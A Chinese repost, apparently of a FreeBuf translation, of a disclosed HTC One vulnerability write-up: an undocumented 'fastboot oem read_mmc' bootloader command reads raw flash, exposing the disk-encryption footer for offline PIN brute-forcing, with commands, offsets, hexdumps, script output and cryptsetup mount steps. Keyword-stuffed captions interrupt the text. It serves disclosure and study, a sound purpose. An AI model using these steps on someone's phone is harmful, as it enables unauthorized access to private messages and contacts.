使用HTC One漏洞破解手机PIN密码

电脑杂谈  发布时间:2020-07-01 21:09:08  来源:网络整理

htc t329d解密存储设备_htc解密存储密码_htc e1 解密存储

HTC一部手机正在运行Android 4.2.2,HBOOT 1.54.0000,它具有一个称为Bootloader的漏洞. 早在2014年2月就已将此漏洞报告给HTC官员htc解密存储密码,该漏洞已在下个月修复. 获得HTC官方批准后,我们​​现在将发布整个漏洞测试过程.

read_emmc命令也出现在2011年发布的HTC DesireZ手机中. 此命令使攻击者可以访问手机的内存并可能获取敏感信息,例如短信和联系人.

此外,此命令允许攻击者通过bruteforce自动获取电话PIN /密码. 他将增加一个空白,以防止用户定义容易猜测的PIN /密码(例如4位PIN). 这很常见,因为PIN /密码也可以每天用于解锁手机.

此攻击仅限于HTC One手机,并且必须打开全盘加密,这意味着这些手机受Android加密保护.

在某些HTC手机中,read_emmc命令似乎是用于调试的命令. 我们认为,该命令不应出现在用户的手机上.

本文介绍了HTC One在Android全盘加密(AES加密,合理的密钥长度,盐)上的强大安全机制.

访问闪存

关闭HTC One并将其插入计算机,然后进入快速启动模式(在电源关闭时按住音量+键和电源按钮,然后释放电源按钮),以便我们可以进入HBOOT的快速启动模式.

这时htc解密存储密码,我们可以使用fastboot读取内存操作,命令如下:

htc e1 解密存储_htc解密存储密码_htc t329d解密存储设备

commandformat: 
read_mmc [emmc/sd] [start] [#blocks] [#blocks/read] [show]

让我们看一下参数的定义:

第一个参数告诉机器从哪里读取. “ Emmc”是读取闪存,“ sd”是读取存储卡

#blocks: 读取的块数

#blocks / read: 一次读取的块数

显示: 设置为1以显示结果

读取第一个扇区,可以使用以下命令

$fastboot oem read_mmc emmc 0 1 1 1
...
(bootloader) reading sector 0 ~ 0
(bootloader) 0
...
(bootloader) 0
(bootloader) DF
(bootloader) FF
(bootloader) 3
(bootloader) 0
(bootloader) 20
(bootloader) E0
(bootloader) 9F
(bootloader) 3
(bootloader) 55
(bootloader) AA
(bootloader) read sector done average = 172
OKAY [  0.310s]
finished. total time: 0.311s

从一开始,我们可以看到很多0(超过400个字节),结尾是“ 55 AA”.

htc解密存储密码_htc t329d解密存储设备_htc e1 解密存储

使用手机上的ADB Shell,我们可以看到用户的数据子块“ mmcblk0p37”从6422528开始. 在Android下,它对应于已安装的ext4分区

shell@android#cat /proc/emmc
dev:        size     erasesize name
...
mmcblk0p37: 680000000 00000200 "userdata"
shell@android:# cat /sys/block/mmcblk0/mmcblk0p37/start
6422528
shell@android:# mount
...
/dev/block/mmcblk0p37 /data ext4 rw,nosuid,nodev,noatime,discard,noauto_da_alloc,data=ordered 0 0

因此,攻击者可以使用“ read_mmc”命令浏览闪存中用户数据分区的内容,即使用户设置了PIN /密码,也无法将其阻止.

$fastboot oem read_mmc emmc 6422530 1 1 1
...
(bootloader) reading sector 6422530 ~ 6422530
(bootloader) 0
...
(bootloader) 2F
(bootloader) 64
(bootloader) 61
(bootloader) 74
(bootloader) 61
...
(bootloader) read sector done average = 146
OKAY [  0.359s]
finished. total time: 0.359s

“ 2F 64 61 74 61”字节序列是用户数据分区开始处的“ / data” ASCII字符串.

我们的第一个想法是从闪存中转储用户数据,但是此过程需要几天甚至几个月的时间.

另一个想法是使用FUSE(用户空间文件系统)通过USB连接计算机以转储用户数据.

绕过Android全盘加密(PDE)

在HTC Desire Z(Android 2.x)时代,全盘加密尚未出现. 现在,我们考虑是否有一种绕过PDE并使用“ read_mmc”漏洞的方法.

htc解密存储密码_htc t329d解密存储设备_htc e1 解密存储

ThomasCannon在Defcon 2012上向我们展示了PDE的工作过程,该过程使用蛮力破解PIN /密码并解密用户扇区数据脚本. 当时,他使用的是纯本机Google Nexus S,与本示例稍有不同.

我们决定对设备进行加密,“存储>手机存储的加密”. 通过它的方法,我们注意到出现了一个额外的分区,该分区用于存储密钥.

$hexdump -C extra 
00000000   b1 b5 d0 01 00 00 00  68 00 00 00 00 00 00 00 |........h.......|
00000010  20 00 00 00 00 00 00 00  00 00 40 03 00 00 00 00  |.........@.....|
00000020  00 00 00 00 61 65 73 2d  63 62 63 2d 65 73 73 69 |....aes-cbc-essi|
00000030  76 3a 73 68 61 32 35 36  00 00 00 00 00 00 00 00 |v:sha256........|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 |................|
*
00000060  00 00 00 00 00 00 00 00 {15 d2 9c 16 1c 54 40 1c |.............T@.|
00000070  b4 c1 e4 91 69 10 4b 55  2e 47 64 31 13 52 ad 2d |....i.KU.Gd1.R.-|
00000080  bd 8c 42 8e d6  84 00} 00 00 00 00 00 00 00 00 |..B.............|
00000090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 |................|
000000a0  00 00 00 00 00 00 00 00 [c7 1f 34 80 97 09 fd 39 |..........4....9|
000000b0  0b 4a 91 d9 d9 d8 00 cd] 00 00 00 00 00 00 00 00 |.J..............|
000000c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 |................|
*
00000200

注意: 要解密主密钥和内部数据,建议您看一下Thomas的幻灯片.

我们就在加密头的位置,所以我可以很快得到它

shell@android#cat /proc/emmc
dev:        size     erasesize name
...
mmcblk0p27: 00010000 00000200 "extra"
shell@android:# cat /sys/block/mmcblk0/mmcblk0p27/start
586799

然后,我们可以确认用户数据分区已再次加密. 第一个字节告诉我们“这是加密设备: )”,仅在HTC One中可用. 他之所以可以这样写,是因为未使用默认ext4分区中的第一个字节,其他字节是随机字节.

shell@android:#./busybox hexdump -C /dev/block/mmcblk0p37 -n 64
00000000  54 68 69 73 20 69 73 20  61 6e 20 65 6e 63 72 79 |This is an encry|
00000010  70 74 65 64 20 64 65 76  69 63 65 3a 29 6f c3 a0 |pted device:)o..|
00000020  26 bc 76 ed a8 77 ef 6a  95 28 32 ab 24 ce 8d 58 |&.v..w.j.(2.$..X|
00000030  91 fe 8e 14 9e 81 05 a4  28 65 64 3c 1b e2 11 56 |........(ed<...V|
00000040

接下来,我们可以确定我们可以访问此标头,并在快速启动中使用“ read_mmc”命令来加密用户数据分区

htc t329d解密存储设备_htc解密存储密码_htc e1 解密存储

$fastboot oem read_mmc emmc 586799 1 1 1

因此,我们可以编写一个小脚本来读取PDE头(用户数据分区的第一个扇区),然后通过计算机对其进行破解.

#python bruteforce_htcone_over_reademmc.py
oem read_mmc emmc 6422528 1 1 1
oem read_mmc emmc 586799 1 1 1
Footer File    : extra
Magic          : 0xD0B5B1
Major Version  : 1
Minor Version  : 0
Footer Size    : 104 bytes
Flags          : 0x00000000
Key Size       : 256 bits
Failed Decrypts: 0
Crypto Type    : aes-cbc-essiv:sha256
Encrypted Key  :0x15D29C161C54401CB4C1E49169104B552E4764311352AD2DBD828ED68400
Salt           : 0xC71F34809709FD390B4A91D9D9D800CD
----------------
Trying to Bruteforce Password... please wait
Found PIN!: 0000
Saving decrypted master key to &#039;keyfile&#039;

安装用户数据的加密分区

攻击者可以通过上面的方法轻松获得PIN /密码. 他可以正常连接电话,重写或创建PIN /密码,然后打开ADB来执行他想做的任何事情.

#mkdir mnt
# losetup /dev/loop0 userdata.img
# cryptsetup –type plain open –c aes-cbc-essiv:sha256 –d keyfile /dev/loop0userdata
# mount /dev/mapper/userdata mnt

在此示例中,我们甚至可以通过USB在计算机上执行“ read_mmc”命令.

有关详细信息,请参见GitHub.

[参考资料Sogeti,文本/实习编辑Iris,转载请注明来自FreeBuf黑客和极客(FreeBuf.COM)]


本文来自电脑杂谈,转载请注明本文网址:
https://www.pc-fly.com/a/shouji/article-264989-1.html

    相关阅读
      发表评论  请自觉遵守互联网相关的政策法规,严禁发布、暴力、反动的言论

      热点图片
      拼命载入中...